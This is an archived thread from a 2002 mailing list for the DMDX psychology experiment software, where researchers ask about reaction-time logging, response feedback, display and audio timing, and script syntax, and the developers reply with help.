666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.040) id 3C8F94DB00002285 for DMDX@psy1.psych.arizona.edu; Wed, 13 Mar 2002 12:04:53 -0700 Message-Id: <5.1.0.14.2.20020313120432.00b33380@psy1.psych.arizona.edu> Date: Wed, 13 Mar 2002 12:04:52 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: failing to log RTs In-Reply-To: References: <5.1.0.14.2.20020313090053.00b5eea8@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:30 PM 3/13/2002 -0500, you wrote: >I'm running a recognition memory task: subjects are presented with a list >of items, in the form of a picture with a set of associated labels, there >is an interpolated task (simple math verification problems), a set of >recall cues are presented, then the set of recognition test items are >shown. Everything seems to be working fine, with the exception that the >AZK file is not logging RTs. Responses are logged as either -1 or 1. That's what does. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ My dear boy, forget about the motivation. Just say the lines and don't trip over the furniture. - Noel Coward, to an actor in his Nude with a Violin on Broadway, 1957 (Attrib.) >From DMDX-owner@psy1.psych.arizona.edu Sat Mar 16 09:03:13 2002 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA32640 for ; Sat, 16 Mar 2002 09:02:24 -0700 Received: from pc057.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Sat, 16 Mar 2002 16:02:20 GMT Message-Id: <5.1.0.14.2.20020316160137.00a6f9e0@pophost.mrc-cbu.cam.ac.uk> Date: Sat, 16 Mar 2002 16:08:14 +0000 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Response output to screen Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Is there any way that get a subjects' responses output to the screen? I want the subject to see a number, e.g. 492, then to respond by typing this in. It would be great for me if either this number could be appear as they type or be displayed as feedback so they can possibly change their mind and type in another number. Reading the keyword documentation it seems as if I could do this for single digit numbers but not for strings of >1 digit. Can anyone help me? - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Sat Mar 16 09:47:41 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA00026 for ; Sat, 16 Mar 2002 09:47:32 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.2) by deimos.email.Arizona.EDU (6.0.040) id 3C8F94DB00055E83 for DMDX@psy1.psych.arizona.edu; Sat, 16 Mar 2002 09:47:32 -0700 Message-Id: <5.1.0.14.2.20020316093051.00b54348@psy1.psych.arizona.edu> Date: Sat, 16 Mar 2002 09:47:32 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Response output to screen In-Reply-To: <5.1.0.14.2.20020316160137.00a6f9e0@pophost.mrc-cbu.cam.ac. uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:08 PM 3/16/2002 +0000, you wrote: >Is there any way that get a subjects' responses output to the screen? I >want the subject to see a number, e.g. 492, then to respond by typing this >in. It would be great for me if either this number could be appear as >they type or be displayed as feedback so they can possibly change their >mind and type in another number. Reading the keyword documentation >it seems as if I could do this for single digit numbers but not for >strings of >1 digit. Yeah, there's a whole new bunch of code tossed in a few months ago that does exactly that. Seeing as I can't recall the keyword maybe it was more like a year ago... Ah, there it is, , no wonder I couldn't find it, it isn't a feedback keyword at all: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhappendcounterkeyword.htm You'll have to have your own custom feedback routine and modify the example slightly and load the counter with LastRT or LastXT instead of ErrorRate. And it was added last November so I guess that is a few months ago, how fast my memory fades... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. - John Kenneth Galbraith >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 18 09:01:46 2002 Received: from pp.dundee.ac.uk (pp.dundee.ac.uk [134.36.2.60]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA05531 for ; Mon, 18 Mar 2002 09:00:21 -0700 Received: from psychology.dundee.ac.uk ([134.36.104.15]) by pp.dundee.ac.uk with esmtp (Exim 3.22 #2) id 16mzYa-0005Yp-00 for DMDX@psy1.psych.arizona.edu; Mon, 18 Mar 2002 16:00:20 +0000 Received: from PSYCH/SpoolDir by psychology.dundee.ac.uk (Mercury 1.48); 18 Mar 02 16:00:21 +0000 Received: from SpoolDir by PSYCH (Mercury 1.48); 18 Mar 02 15:59:53 +0000 From: ""Douglas Potter"" To: DMDX@psy1.psych.arizona.edu Date: Mon, 18 Mar 2002 15:59:46 -0000 MIME-Version: 1.0 Content-type: Multipart/Mixed; boundary=Message-Boundary-20907 Subject: [DMDX] Refresh Rates and Sound Timing Problems Message-ID: <3C960EF1.7411.713C97@localhost> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --Message-Boundary-20907 Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: Quoted-printable Content-description: Mail message body Hi there, I am trying to run an experiment that involves sending a 50 msec trigger signal out the PIO port followed (100 msec after trigger onset) by the presentation of a 20 msec (boopbs.wav) or 100 msec (e.g. new37a.wav) audio files. This should then be followed 300 msec later by a number or a .bmp appearing on the screen and RT is collected at this point. The control file at end of message illustrates the principle. I am experiencing problems with timing using DMDX. In screenshot refresh.bmp I have pasted the results from Time DX refresh rate and Video Mode tests. These give conflicting values of 16.56 and 6.94 msec. DMDX behaves as if the refresh rate is 6.94 (approximately). So I am not sure how one should interpret these results. The trigger pulse and audio output are illustrated in boopbs.bmp In the case of playing the boopbs.wav file the trigger pulse is indeed 50 msec long but the wav file is starting at around 80 rather than 100 msec after trigger onset and there is some 5-8 msec jitter in the timing of the start of the .wav file. The duration of the .wav playback is, however, correct. In the case of the new37a.wav file the sound is kicking in about 10 msec into the 50 msec trigger pulse though the duration of the .wav file is correct. This pattern is consistent throughout the 360 trials of the expt. with some 40 odd different newxxx.wav files. I have not explored the timing of the visual stimuli yet as I need to locate a device for detecting the luminance changes from the monitor. I would be grateful for any help on these timing questions. Many Thanks Dr Doug Potter N360 0 ""Press SPACEBAR to start""; +1 / / / ""BOOPBS"" / * =936=94/ / ; +2 / / / ""BOOPBS"" / * =938=94/ / ; =3D3 / / / ""BOOPBS"" / * ""165""/ / ; +4 / / / ""BOOPBS"" / * =936=94/ / ; +5 / / / ""BOOPBS"" / * =934=94/ / ; -6 / / / ""BOOPBS"" / * =935=94/ / ; -7 / / / ""BOOPBS"" / * =933=94/ / ; +8 / / / ""BOOPBS"" / * =938=94/ / ; +9 / / / ""NEW37A"" / * =936=94/ / ; Dr Douglas D. Potter Department of Psychology University of Dundee Dundee Scotland DD1 4HN Email d.d.potter@dundee.ac.uk http://www.dundee.ac.uk/psychology/ddpotter/ Tel 01382 344632 Fax 01382 229993 --Message-Boundary-20907 Content-type: text/plain; charset=US-ASCII Content-disposition: inline Content-description: Attachment information. The following section of this message contains a file attachment prepared for transmission using the Internet MIME message format. If you are using Pegasus Mail, or any another MIME-compliant system, you should be able to save it or view it from within your mailer. If you cannot, please ask your system administrator for assistance. ---- File information ----------- File: refresh.bmp Date: 18 Mar 2002, 15:51 Size: 23998 bytes. Type: BMP-image >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 18 09:08:04 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA05571 for ; Mon, 18 Mar 2002 09:07:56 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by deimos.email.Arizona.EDU (6.0.040) id 3C8F94DB0007310D for DMDX@psy1.psych.arizona.edu; Mon, 18 Mar 2002 09:07:55 -0700 Message-Id: <4.3.1.1.20020318090809.00cd6f00@kforster.inbox.email.arizona.edu> Date: Mon, 18 Mar 2002 09:09:17 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: Response output to screen In-Reply-To: <5.1.0.14.2.20020316093051.00b54348@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020316160137.00a6f9e0@pophost.mrc-cbu.cam.ac. uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list >At 04:08 PM 3/16/2002 +0000, you wrote: >>Is there any way that get a subjects' responses output to the screen? I >>want the subject to see a number, e.g. 492, then to respond by typing >>this in. It would be great for me if either this number could be appear >>as they type or be displayed as feedback so they can possibly change >>their mind and type in another number. Reading the keyword >>documentation it seems as if I could do this for single digit numbers but >>not for strings of >1 digit. Maybe I haven't followed, but what's wrong with ? --k.i.f. >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 18 10:46:25 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA05910 for ; Mon, 18 Mar 2002 10:46:16 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.040) id 3C951B3A00011B4A for DMDX@psy1.psych.arizona.edu; Mon, 18 Mar 2002 10:46:15 -0700 Message-Id: <5.1.0.14.2.20020318103147.00b4e870@psy1.psych.arizona.edu> Date: Mon, 18 Mar 2002 10:46:15 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Refresh Rates and Sound Timing Problems In-Reply-To: <3C960EF1.7411.713C97@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Just a note to everyone else, kindly do NOT send attachments to the list, I will now have to go spend twenty minutes cleaning up the archive after this post. At 03:59 PM 3/18/2002 +0000, you wrote: >Hi there, > >I am trying to run an experiment that involves sending a 50 msec >trigger signal out the PIO port followed (100 msec after trigger >onset) by the presentation of a 20 msec (boopbs.wav) or 100 >msec (e.g. new37a.wav) audio files. This should then be >followed 300 msec later by a number or a .bmp appearing on >the screen and RT is collected at this point. The control file at >end of message illustrates the principle. > >I am experiencing problems with timing using DMDX. In >screenshot refresh.bmp I have pasted the results from Time DX >refresh rate and Video Mode tests. These give conflicting values >of 16.56 and 6.94 msec. DMDX behaves as if the refresh rate is >6.94 (approximately). So I am not sure how one should interpret >these results. I suggest you read the help files for TimeDX's video test completely, I've got pages of suggestions in there. The correct value is very likely to be 16.56ms, it is having trouble with your video card for any one of a number of reasons, all outlined in TimeDX's help. http://psy1.psych.arizona.edu/~jforster/dmdx/help/timedxhoverview.htm http://psy1.psych.arizona.edu/~jforster/dmdx/help/timedxhverticalretracesyncthread.htm >The trigger pulse and audio output are illustrated in boopbs.bmp >In the case of playing the boopbs.wav file the trigger pulse is >indeed 50 msec long but the wav file is starting at around 80 >rather than 100 msec after trigger onset and there is some 5-8 >msec jitter in the timing of the start of the .wav file. The duration >of the .wav playback is, however, correct. In the case of the >new37a.wav file the sound is kicking in about 10 msec into the >50 msec trigger pulse though the duration of the .wav file is >correct. This pattern is consistent throughout the 360 trials of the >expt. with some 40 odd different newxxx.wav files. Audio drivers and cards are notorious for these kinds of inaccuracies, at least the 5-8ms jitter, the other constant error is due to you having the wrong retrace interval duration in TimeDX's Advanced Video Mode Test. TimeDX also has extensive tests to ascertain the accuracy of any given sound card. Get later drivers and if that doesn't fix it you might try a later OS like Windows ME. It's that or buy a later generation sound card and or a much faster computer. John Kline has several recommendations in the archives. >I have not explored the timing of the visual stimuli yet as I need >to locate a device for detecting the luminance changes from the >monitor. > >I would be grateful for any help on these timing questions. > >Many Thanks > >Dr Doug Potter > >N360 > 255> 800,600,600,16,0> > >0 ""Press SPACEBAR to start""; >+1 / / / > ""BOOPBS"" / * ""6""/ / ; >+2 / / / > ""BOOPBS"" / * ""8""/ / ; >=3 / / / > ""BOOPBS"" / * ""165""/ 12>/ ; >+4 / / / > ""BOOPBS"" / * ""6""/ / ; >+5 / / / > ""BOOPBS"" / * ""4""/ / ; >-6 / / / > ""BOOPBS"" / * ""5""/ / ; >-7 / / / > ""BOOPBS"" / * ""3""/ / ; >+8 / / / > ""BOOPBS"" / * ""8""/ / ; >+9 / / / > ""NEW37A"" / * ""6""/ / ; > > >Dr Douglas D. Potter >Department of Psychology >University of Dundee >Dundee >Scotland >DD1 4HN > >Email d.d.potter@dundee.ac.uk >http://www.dundee.ac.uk/psychology/ddpotter/ >Tel 01382 344632 >Fax 01382 229993 >The following section of this message contains a file attachment >prepared for transmission using the Internet MIME message format. >If you are using Pegasus Mail, or any another MIME-compliant system, >you should be able to save it or view it from within your mailer. >If you cannot, please ask your system administrator for assistance. > > ---- File information ----------- > File: refresh.bmp > Date: 18 Mar 2002, 15:51 > Size: 23998 bytes. > Type: BMP-image > >The following section of this message contains a file attachment >prepared for transmission using the Internet MIME message format. >If you are using Pegasus Mail, or any another MIME-compliant system, >you should be able to save it or view it from within your mailer. >If you cannot, please ask your system administrator for assistance. > > ---- File information ----------- > File: BOOPBS.wav > Date: 9 Nov 2001, 11:19 > Size: 358 bytes. > Type: WAV-sound-file > >The following section of this message contains a file attachment >prepared for transmission using the Internet MIME message format. >If you are using Pegasus Mail, or any another MIME-compliant system, >you should be able to save it or view it from within your mailer. >If you cannot, please ask your system administrator for assistance. > > ---- File information ----------- > File: New37a.wav > Date: 28 Sep 2001, 10:58 > Size: 4558 bytes. > Type: WAV-sound-file > >The following section of this message contains a file attachment >prepared for transmission using the Internet MIME message format. >If you are using Pegasus Mail, or any another MIME-compliant system, >you should be able to save it or view it from within your mailer. >If you cannot, please ask your system administrator for assistance. > > ---- File information ----------- > File: boopbs.bmp > Date: 18 Mar 2002, 15:56 > Size: 35262 bytes. > Type: BMP-image /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ My dear boy, forget about the motivation. Just say the lines and don't trip over the furniture. - Noel Coward, to an actor in his Nude with a Violin on Broadway, 1957 (Attrib.) >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 18 10:48:28 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA05921 for ; Mon, 18 Mar 2002 10:48:22 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.040) id 3C951B3A00011C86 for DMDX@psy1.psych.arizona.edu; Mon, 18 Mar 2002 10:48:21 -0700 Message-Id: <5.1.0.14.2.20020318104756.00b4e870@psy1.psych.arizona.edu> Date: Mon, 18 Mar 2002 10:48:21 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Response output to screen In-Reply-To: <4.3.1.1.20020318090809.00cd6f00@kforster.inbox.email.arizo na.edu> References: <5.1.0.14.2.20020316093051.00b54348@psy1.psych.arizona.edu> <5.1.0.14.2.20020316160137.00a6f9e0@pophost.mrc-cbu.cam.ac. uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:09 AM 3/18/2002 -0700, you wrote: >>At 04:08 PM 3/16/2002 +0000, you wrote: >>>Is there any way that get a subjects' responses output to the screen? I >>>want the subject to see a number, e.g. 492, then to respond by typing >>>this in. It would be great for me if either this number could be appear >>>as they type or be displayed as feedback so they can possibly change >>>their mind and type in another number. Reading the keyword >>>documentation it seems as if I could do this for single digit numbers >>>but not for strings of >1 digit. > > Maybe I haven't followed, but what's wrong with ? He actually wants which provides the feedback as the subjects type. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ My dear boy, forget about the motivation. Just say the lines and don't trip over the furniture. - Noel Coward, to an actor in his Nude with a Violin on Broadway, 1957 (Attrib.) >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 18 16:06:24 2002 Received: from ling.ucsd.edu (ling.ucsd.edu [132.239.165.2]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA06835 for ; Mon, 18 Mar 2002 16:05:41 -0700 Received: from localhost (cleung@localhost) by ling.ucsd.edu (8.11.6/8.11.3) with ESMTP id g2IN5er11849 for ; Mon, 18 Mar 2002 15:05:40 -0800 (PST) Date: Mon, 18 Mar 2002 15:05:40 -0800 (PST) From: Cheryl Leung To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] DMDX rookie needs help! Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear experts, 3 questions: 1.) For an auditory experiment, after the instruction ""press spacebar to start"", I would like the screen to have a scale up during the entire experiment. The scale looks like ""1=identical; 2=similar; 3=quite different; 4=entirely different"". How should I add this to the rtf. in order for this scale to be present on the screen the entire experiment? (the experiment is purely auditory and doesn't have a break) 2.) For the same experiment, we would like to have the bell ringing before each stimulus. We tried putting after the number, and before the stimulus, but only the first stimulus was presented after the bell, while the others didn't have any bell sounds. I am wondering whether we are doing the wrong thing. 3.) Same experiment, we would like the subjects to respond after each stimulus by pressing 1, 2, 3, or 4, (i.e. ranks from the scale) and be able to record their responses. I am wondering if this can be done at all. I understand that my questions might be very stupid, but it would be great if I can receive some help. Sincerely, Cheryl Leung >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 18 19:43:53 2002 Received: from mhub-w4.tc.umn.edu (mhub-w4.tc.umn.edu [160.94.160.49]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id TAA07417 for ; Mon, 18 Mar 2002 19:43:39 -0700 Received: from qix.software.umn.edu by mhub-w4.tc.umn.edu with ESMTP for DMDX@psy1.psych.arizona.edu; Mon, 18 Mar 2002 20:43:39 -0600 Received: (from nobody@localhost) by qix.software.umn.edu (8.11.6/8.11.6) id g2J2i1x27960; Mon, 18 Mar 2002 20:44:01 -0600 Message-Id: <200203190244.g2J2i1x27960@qix.software.umn.edu> Date: Mon, 18 Mar 2002 20:44:01 CST From: ""Stephen D. Benning"" Subject: [DMDX] Re: DMDX rookie needs help! To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > Dear experts, Ah, would that I could consider myself such... > 3 questions: > > 1.) For an auditory experiment, after the instruction ""press spacebar to >start"", I would like the screen to have a scale up during the entire > experiment. The scale looks like ""1=identical; 2=similar; 3=quite > different; 4=entirely different"". How should I add this to the rtf. in > order for this scale to be present on the screen the entire experiment? > (the experiment is purely auditory and doesn't have a break) Assuming that all you're doing is presenting auditory stimuli with no visual stimuli besides your scale whatsoever, simply put an ! in each FRAME of your experiment; this will keep the display from refreshing between frames. You can also use the or keywords in place of the ! (not to be confused with , which now serves as a comment indicator). For example, 1 @-2 "" My scale"",@0"" 1 2 3 4 5 "",@1"" High Low""/ ""stuff"" ! %50/ ""and"" ! %100/ ""things"" ! %75/; should play the .wav files stuff, and, things sequentially, all the while keeping the text on screen. > 2.) For the same experiment, we would like to have the bell ringing > before each stimulus. We tried putting after the number, and > before the stimulus, but only the first stimulus was presented after the > bell, while the others didn't have any bell sounds. I am wondering > whether we are doing the wrong thing. Bugger if I know; I've not used the bell before:) For the minimal sound presentation needs I've had, I've always just used .wav files. > 3.) Same experiment, we would like the subjects to respond after each > stimulus by pressing 1, 2, 3, or 4, (i.e. ranks from the scale) and be > able to record their responses. I am wondering if this can be done at > all. Make some macros at the beginning of the experiment that define each of the correct responses. Each frame in this item defines a different macro. I made a total of 9 macros that allow each of the number keys 1-9 to be mapped as the correct response, with every other number key being mapped as an incorrect response. There's also another macro at the very end that treats only the Enter key as a response, used for when I want the subject to be able to toggle through instruction screens and the like. 1 m1= =/ m2==/ m3==/ m4==/ m5==/ m6==/ m7==/ m8==/ m9==/ m0==; Each macro can be called as a ~ followed by the macro number (in my case, also the number of the desired correct response) as demonstrated in this code: +6 ~0 / / @-2 �Last week, you read a passage about a fox and a dog.�, @-1 �Here are the questions about that passage.�, @1 �Press ENTER to continue.�*; +7 ~1 @-3 �What color was the fox?�, @-1 �1. Brown�, @0 �2. Green�, @1 �3. Black�, @2 �4. White�*; > I understand that my questions might be very stupid, but it would be great if > I can receive some help. Hardly; it took me two days to debug a problem I was having with DMDX ignoring certain delay statements but not others. At first, I thought it might be a buggy implementation of !, but it turned out that it was me simply forgetting to put a frame-ending / before the item-ending ;. So embarrassing, yet thankfully easy to fix. Stephen Benning University of Minnesota >From DMDX-owner@psy1.psych.arizona.edu Tue Mar 19 06:28:15 2002 Received: from pp.dundee.ac.uk (pp.dundee.ac.uk [134.36.2.60]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id GAA08725 for ; Tue, 19 Mar 2002 06:27:44 -0700 Received: from psychology.dundee.ac.uk ([134.36.104.15]) by pp.dundee.ac.uk with esmtp (Exim 3.22 #2) id 16nJeS-0000Sh-00 for DMDX@psy1.psych.arizona.edu; Tue, 19 Mar 2002 13:27:44 +0000 Received: from PSYCH/SpoolDir by psychology.dundee.ac.uk (Mercury 1.48); 19 Mar 02 13:27:44 +0000 Received: from SpoolDir by PSYCH (Mercury 1.48); 19 Mar 02 13:27:33 +0000 From: ""Douglas Potter"" To: DMDX@psy1.psych.arizona.edu Date: Tue, 19 Mar 2002 13:27:30 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: [DMDX] Re: Refresh Rates and Sound Timing Problems Message-ID: <3C973CC2.30848.D48EB0@localhost> In-reply-to: <5.1.0.14.2.20020318103147.00b4e870@psy1.psych.arizona.edu> References: <3C960EF1.7411.713C97@localhost> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear Jonathan, Apologies about the attachments, I misunderstood the listserver instructions. Thank you for the very helpful suggestions on timing. Doug potter Dr Douglas D. Potter Department of Psychology University of Dundee Dundee Scotland DD1 4HN Email d.d.potter@dundee.ac.uk http://www.dundee.ac.uk/psychology/ddpotter/ Tel 01382 344632 Fax 01382 229993 >From DMDX-owner@psy1.psych.arizona.edu Tue Mar 19 08:36:41 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA09076 for ; Tue, 19 Mar 2002 08:36:21 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.2) by deimos.email.Arizona.EDU (6.0.040) id 3C9644C80001B45B for DMDX@psy1.psych.arizona.edu; Tue, 19 Mar 2002 08:36:21 -0700 Message-Id: <5.1.0.14.2.20020319083329.00b3ab40@psy1.psych.arizona.edu> Date: Tue, 19 Mar 2002 08:36:20 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX rookie needs help! In-Reply-To: <200203190244.g2J2i1x27960@qix.software.umn.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:44 PM 3/18/2002 -0600, you wrote: > > 2.) For the same experiment, we would like to have the bell ringing > > before each stimulus. We tried putting after the number, and > > before the stimulus, but only the first stimulus was presented after the > > bell, while the others didn't have any bell sounds. I am wondering > > whether we are doing the wrong thing. is not considered a stimulus but a signal to the experimenter, only one can occur per item and it's timing is not synchronized with the item at all. You will have to play a wave file instead. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You will know happy motorcyclist by the bug stains on his teeth. >From DMDX-owner@psy1.psych.arizona.edu Tue Mar 19 08:45:18 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA09121 for ; Tue, 19 Mar 2002 08:45:12 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.2) by deimos.email.Arizona.EDU (6.0.040) id 3C9644C80001B98B for DMDX@psy1.psych.arizona.edu; Tue, 19 Mar 2002 08:45:11 -0700 Message-Id: <5.1.0.14.2.20020319084434.00b3ab40@psy1.psych.arizona.edu> Date: Tue, 19 Mar 2002 08:45:10 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Refresh Rates and Sound Timing Problems In-Reply-To: <3C973CC2.30848.D48EB0@localhost> References: <5.1.0.14.2.20020318103147.00b4e870@psy1.psych.arizona.edu> <3C960EF1.7411.713C97@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:27 PM 3/19/2002 +0000, you wrote: >Dear Jonathan, > >Apologies about the attachments, I misunderstood the listserver >instructions. > >Thank you for the very helpful suggestions on timing. You'll want to use the ""Use Automatic Values"" button in the Advanced Video Test. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You will know happy motorcyclist by the bug stains on his teeth. >From DMDX-owner@psy1.psych.arizona.edu Fri Mar 22 11:03:57 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA18579 for ; Fri, 22 Mar 2002 11:02:50 -0700 Received: from dss2.med.gu.se (dss2.med.gu.se [130.241.85.25]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id g2MI2np23987 for ; Fri, 22 Mar 2002 19:02:49 +0100 Received: from GWDOMNEU-Message_Server by dss2.med.gu.se with Novell_GroupWise; Fri, 22 Mar 2002 19:02:48 +0100 Message-Id: Date: Fri, 22 Mar 2002 19:00:19 +0100 From: ""Derek Eder"" To: ""<"" Subject: [DMDX] does PIO-12 normally reset 'low' when DMDX is started? Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I am trying to debug some unwanted PIO-12 behavior. When DMDX starts a script with in the parameter line, the PIO outputs go 'low' momentarily. This is causing the unwanted triggering of an external device. Is this a neccesary condition (that I have to learn to live with?) Thank you, Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 (office) Tlf. +46 (031) 34 21 283 (laboratory) Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Fri Mar 22 11:17:58 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA18642 for ; Fri, 22 Mar 2002 11:17:41 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.040) id 3C99FD2F00029F89 for DMDX@psy1.psych.arizona.edu; Fri, 22 Mar 2002 11:17:40 -0700 Message-Id: <5.1.0.14.2.20020322110524.00b33370@psy1.psych.arizona.edu> Date: Fri, 22 Mar 2002 11:17:40 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: does PIO-12 normally reset 'low' when DMDX is started? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 07:00 PM 3/22/2002 +0100, you wrote: >I am trying to debug some unwanted PIO-12 behavior. > >When DMDX starts a script with in the parameter line, >the PIO outputs go 'low' momentarily. This is causing the unwanted >triggering of an external device. > >Is this a neccesary condition (that I have to learn to live with?) Hmm, I guess I've never stuck edge triggered devices on the outputs so I've never noticed -- although ISTR a skinner box I built years ago 